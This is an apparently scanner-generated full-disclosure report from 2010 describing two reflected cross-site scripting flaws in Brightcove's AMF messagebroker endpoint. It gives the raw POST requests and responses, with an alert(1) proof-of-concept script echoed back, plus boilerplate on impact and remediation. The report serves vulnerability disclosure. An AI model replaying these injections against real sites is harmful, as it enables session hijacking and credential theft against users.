Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Fri Nov 19 20:56:49 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://c.brightcove.com/services/messagebroker/amf [2nd AMF string parameter]

1.2. http://c.brightcove.com/services/messagebroker/amf [3rd AMF string parameter]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://c.brightcove.com/services/messagebroker/amf [2nd AMF string parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://c.brightcove.com
Path:   /services/messagebroker/amf

Issue detail

The value of the 2nd AMF string parameter is copied into the HTML document as plain text between tags. The payload f38fd<script>alert(1)</script>10c09d7f424 was submitted in the 2nd AMF string parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /services/messagebroker/amf?playerId=43942763001 HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://admin.brightcove.com/viewer/us1.24.03.03.2010-11-17124414/federatedVideoUI/BrightcovePlayer.swf
x-flash-version: 10,1,102,64
Content-Type: application/x-amf
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: c.brightcove.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Length: 326

.......Mcom.brightcove.experience.ExperienceRuntimeFacade.getProgrammingWithOverrides../1.....    ...Q94aaf807a268f7c2287a8e8b63f3a2dbf8e9de04.B$vb....    ..
..Scom.brightcove.experience.ContentOverride.fea
...[SNIP]...

Response

HTTP/1.1 200 OK
X-BC-Client-IP: 174.122.23.218
X-BC-Connecting-IP: 174.122.23.218
Content-Type: application/x-amf
Vary: Accept-Encoding
Date: Fri, 19 Nov 2010 23:46:40 GMT
Server:
Content-Length: 36152

......../1/onResult.......    .evideoListf38fd<script>alert(1)</script>10c09d7f424
skcom.brightcove.player.programming.ProgrammedLineupDTO.id.componentRefId.playerId%mediaCollectionDTO    type.lineupId.version....
..Ucom.brightcove.catalog.trimmed.PlaylistDTO.mediaIds.videoDTOs.videoId
...[SNIP]...

1.2. http://c.brightcove.com/services/messagebroker/amf [3rd AMF string parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://c.brightcove.com
Path:   /services/messagebroker/amf

Issue detail

The value of the 3rd AMF string parameter is copied into the HTML document as plain text between tags. The payload b5cf7<script>alert(1)</script>9c590c2707d was submitted in the 3rd AMF string parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /services/messagebroker/amf?playerId=10032373001 HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://admin.brightcove.com/viewer/us1.24.03.03.2010-11-17124414/federatedVideo/BrightcovePlayer.swf
x-flash-version: 10,1,102,64
Content-Type: application/x-amf
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: c.brightcove.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Length: 473

.......Fcom.brightcove.experience.ExperienceRuntimeFacade.getDataForExperience../1.....    ...Qe30f0fdb82041db243fa3c538e190feb62a1e2f2
cccom.brightcove.experience.ViewerExperienceRequest.deliveryType.ex
...[SNIP]...

Response

HTTP/1.1 200 OK
X-BC-Client-IP: 174.122.23.218
X-BC-Connecting-IP: 174.122.23.218
Content-Type: application/x-amf
Vary: Accept-Encoding
Date: Fri, 19 Nov 2010 23:46:37 GMT
Server:
Content-Length: 5466

......../1/onResult.....A.
.C[com.brightcove.templating.ViewerExperienceDTO#analyticsTrackers.publisherType.publisherId.playerKey.version#programmedContent!adTranslationSWF.id.hasProgramming+programmi
...[SNIP]...
..x.....eAQ~~,AAAAAGAh48g~,rtgnGLxq6sawJP7KZsdRG7TBjMJv4bvB.    ..videoPlayer
sicom.brightcove.player.programming.ProgrammedMediaDTO.mediaId..playerId.componentRefId    type.mediaDTO
.Bc.... ....ivideoPlayerb5cf7<script>alert(1)</script>9c590c2707d.........
.SOcom.brightcove.catalog.trimmed.VideoDTO.dateFiltered+FLVFullLengthStreamed/SWFVerificationRequired.endDate.FLVFullCodec.linkText.geoRestricted.previewLength.FLVPreviewSize.longDescription.
...[SNIP]...

Report generated by XSS.CX at Fri Nov 19 20:56:49 CST 2010.